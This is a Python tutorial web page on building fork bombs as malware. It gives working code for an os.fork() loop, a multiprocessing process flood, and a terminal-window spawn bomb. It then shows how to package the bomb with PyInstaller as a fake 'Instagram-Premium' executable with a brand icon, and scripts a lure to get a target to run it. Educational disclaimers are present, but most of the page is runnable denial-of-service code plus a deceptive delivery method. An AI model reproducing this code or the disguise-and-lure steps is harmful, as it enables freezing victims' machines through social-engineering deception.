How to Create A Fork Bomb in Python

Learn how to build a fork bomb with os and multiprocessing modules in Python, a program that consumes the target computer's resources and potentially freezes it.
  · · 11 min read · Updated may 2024 · Ethical Hacking · Python Standard Library

Ready to take Python coding to a new level? Explore our Python Code Generator. The perfect tool to get your code up and running in no time. Start now!

Today, we’re going to be building malware. I don’t know about you, but we're excited about this one. But before we get too excited, I must tell you that this program is shared for educational purposes. Please refrain from testing it on unauthorized systems. We're not responsible for any damages incurred. Remember, comprehending malware aids in effective analysis during security incidents. Use responsibly and ethically.

Malware, short for "malicious software," refers to any software specifically designed to harm, exploit, or compromise computer systems, networks, or user devices. Malware can take various forms, including viruses, worms, keyloggers, trojans, ransomware, spyware, adware, and more. Its intent can range from causing damage to stealing sensitive information, disrupting operations, or facilitating unauthorized access. 

Having said this, I want to talk about a common misconception among people. A common misconception among people is the tendency to label all forms of malicious software as "viruses." While the term "virus" is widely recognized and often used as a catch-all phrase for any malicious software, it's essential to understand that malware encompasses a broader spectrum of threats.

Malware is an umbrella term that covers various types of harmful software, each with distinct characteristics and functionalities. Viruses are a specific subset of malware that have the ability to replicate by attaching themselves to other files or programs. Other types of malware include worms, which can spread independently, trojans, which deceive users into thinking they are legitimate, and ransomware, which encrypts data and demands payment for its release. 

In this tutorial, we’re going to be building a Fork Bomb. A fork bomb is a type of malicious code or script that rapidly creates an overwhelming number of processes on a computer, leading to a system overload and making it unresponsive. It's a form of denial-of-service attack aiming to disrupt the normal functioning of the targeted system. The term "fork" refers to the system call used to create a new process in many operating systems. 

Table of Contents

Starting with the Simplest: os.fork()

This is the easiest way to make a fork bomb in Python, which involves 3 lines of code:

# fork_bomb_simplest.py
import os
# import time

while True:
    os.fork()
    # time.sleep(0.5)

The above code is a classic example of a fork bomb in its most straightforward and traditional form.

os.fork() is a system call that creates a new process by duplicating the calling process. The newly created process is called the child process, and the process invoked the fork is called the parent process. We're putting this in a while True loop to ensure that this fork operation is executed endlessly, without any condition to stop.

This will cause exponential growth in the number of processes being created in a very short period of time, so I advise you not to execute it or simply uncomment the time.sleep() so you can control it and monitor CPU and memory usage in your favorite process monitor.

Also, note that os.fork() only works on Unix-based systems and doesn't exist on Windows. So, if you're eager to execute it on Windows, we have you covered in the next section.

Using the multiprocessing Module

In this one, we'll be using Python's built-in multiprocessing module, which is a package for spawning and working with processes in Python. Open up a new Python file, name it meaningfully like fork_bomb.py and follow along:

# Import necessary modules.
from multiprocessing import Process, cpu_count
import time

This first line imports the Process class from the multiprocessing module. The Process class is used to create separate processes in Python. Additionally, it imports the cpu_count() function, which returns the number of logical CPUs or processors on the current machine. This function is used later to determine how many processes to create.

The time module, which is used for introducing sleep delays in the code. In this specific script, we're using the sleep() function from the time module to intentionally slow down the execution of the below counter() function:

# Define a function named counter that takes a number parameter.
def counter(number):
    # Run a loop until number reaches 0.
    while number > 0:
        number -= 1
        # Introduce a sleep of 100 ms to intentionally slow down the loop.
        time.sleep(0.1)  # Adjust sleep time as needed to make it slower.

The counter() function contains a loop that decrements a counter until it reaches 0, deliberately introducing a sleep of 100 milliseconds in each iteration, causing a delay and slowing down the loop.

Next, let's create a function that spawns the processes:

def spawn_processes(num_processes):
    # Create a list of Process instances, each targeting the counter function.
    processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)]
    # Start each process.
    for process in processes:
        process.start()
        print(f"Started process {process.pid}.")
    # Wait for each process to finish before moving on.
    for process in processes:
        process.join()
        print(f"Process {process.pid} has finished.")

This spawn_processes() function creates num_processes processes and starts each one of them. For the code to be executable and not harm your computer (so you can test it for demonstration purposes), we're only passing 1000 as the number parameter to the counter() function. You can increase it or introduce a while True loop in the counter() function if you want (so the process will keep counting and never end).

Also, you can delete those print statements so it's a silent bomb! We're also iterating over the processes and calling process.join() to wait for the process to end.

Finally, we create the main() function:

# Define the main function.
def main():
    # Get the number of logical processors on the system.
    num_processors = cpu_count()
    # Create a large number of processes (num_processors * 200).
    num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed.
    print(f"Number of logical processors: {num_processors}")
    print(f"Creating {num_processes} processes.")
    print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
    # Run an infinite loop if you want.
    # while True:
    #     spawn_processes(num_processes)
    # For demonstration purposes, run the function once and monitor the task manager.
    spawn_processes(num_processes)

Here, we're using the cpu_count() function to see our system's number of logical processors. After that, we multiply it by 200, spawning 200 processes for each core. You can adjust this number, of course, and make sure to increase it responsibly, as it may freeze your PC if you increase it too much. Let's execute the main() function:

# Execute the main function.
if __name__ == "__main__":
    main()

Let's run our code:

$ python fork_bomb.py

After a few seconds, here's a screenshot of my Task Manager (on Windows):

100% Usage After executing the Fork Bomb in PythonSpawning hundreds or thousands of Python processes, each consuming ~1% of CPU and about 7MB of memory. As said earlier, this will end in a few minutes, but you can modify the counter() function to be an endless execution. You can also remove that time.sleep() and the process will consume much more CPU.

Testing such code on a virtual machine rather than your main computer is highly recommended to prevent any adverse effects on the host system. Running fork bomb-like code can lead to system slowdowns or unresponsiveness, and using a virtual environment provides a controlled and isolated environment for testing purposes.

Bonus: Terminal Spawn Bomb

There is another variant of a fork bomb, which is a terminal spawn bomb, that is a program that continuously opens a cmd (on Windows) or terminal window (Unix-based). Let's do it: open up a new Python file named terminal_spawn_bomb.py, and add the following:

import os
import subprocess
import time

# List of common terminal emulators
terminal_emulators = [
    "gnome-terminal",  # GNOME
    "konsole",         # KDE
    "xfce4-terminal",  # XFCE
    "lxterminal",      # LXDE
    "mate-terminal",   # MATE
    "terminator",
    "xterm",
    "urxvt"
]

def open_terminal():
    for emulator in terminal_emulators:
        try:
            if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0:
                os.system(f"{emulator} &")
                return True
        except Exception as e:
            continue
    print("No known terminal emulator found!")
    return False

while True:
    if os.name == "nt":
        os.system("start cmd")
    else:
        if not open_terminal():
            break  # Break the loop if no terminal emulator is found
    # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
    time.sleep(0.5)  # Adjust sleep time as needed to make it slower.

Here, we're making an infinite loop, and if we're on Windows, we start the command prompt every half a second using the start cmd command. If we're on a Unix-based system, then we call our open_terminal() function that tries every possible type of terminal (most likely gnome-terminal, as it's popular among Ubuntu, Debian, etc.) and call it if it succeeds.

Converting Our Code to an Executable

Now that we’re done with our programs, it’s time to convert it to an executable. Converting Python code to an executable enhances portability, simplifies distribution, and provides a user-friendly, secure, and standalone way to run the program without requiring a Python interpreter.

Moreover, in a real-world scenario, sending your target a Python file is not ideal. They may not even have a Python interpreter, and that would render the program useless. So, converting our program to an executable is a better way of delivering malware to a target. I’ll also show you how to wrap our executable with a legit icon so our target’s would be more inclined to click it.

We are going to achieve this (converting our program to an executable) by using PyInstaller. PyInstaller is a tool that converts Python scripts into standalone executables, streamlining distribution and allowing users to run the program without a separate Python interpreter. Feel free to check out the documentation or our Pyinstaller tutorial.

Before we use PyInstaller, we have to install it:

$ pip install pyinstaller

To convert our program to an exe, navigate to the directory your code is as saved and run;

$ pyinstaller --onefile fork_bomb.py --icon instagram.ico --name Instagram-Premium

This PyInstaller command converts our Python script fork_bomb.py into a standalone executable named Instagram-Premium with the specified instagram.ico icon. Please make sure the icon and Python code are in the same directory. If they aren’t, specify the full paths. You can get the instagram icon from here

After running this, you should get a new dist folder in the directory where your Python file is. Similar to:

Inside that dist folder, rests our fork bomb or ‘premium instagram’:

By using a familiar and trusted name such as ‘Instagram-Premium' and associating it with an icon resembling the Instagram logo, this PyInstaller command illustrates how attackers could potentially trick users into executing malicious code. This social engineering technique leverages users' trust in a known brand to encourage them to run the executable. It emphasizes the importance of cautious behavior and verifying the legitimacy of files, especially when they appear to be associated with well-known entities.

I can simply tell my target, “Hey, check out this new and premium Instagram for PC and mobile. It contains cooler features than the regular one, and It’s cracked, so you don’t need to pay”. When my target clicks it, it’s game over for them.

Alright! We're done with this tutorial. A good next step is to make your fork bomb persistent using this tutorial. Good luck!

You can get the complete code snippets on this page.

Check out some of our related tutorials:

Finally, if you're interested in learning more about building ethical hacking tools, then definitely check out our Ethical Hacking with Python eBook, where we build 35+ hacking tools from scratch using Python!

Stay safe, code safe, and happy coding ♥

Liked what you read? You'll love what you can learn from our AI-powered Code Explainer. Check it out!

View Full Code Build My Python Code
Sharing is caring!



Read Also



Comment panel

    Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!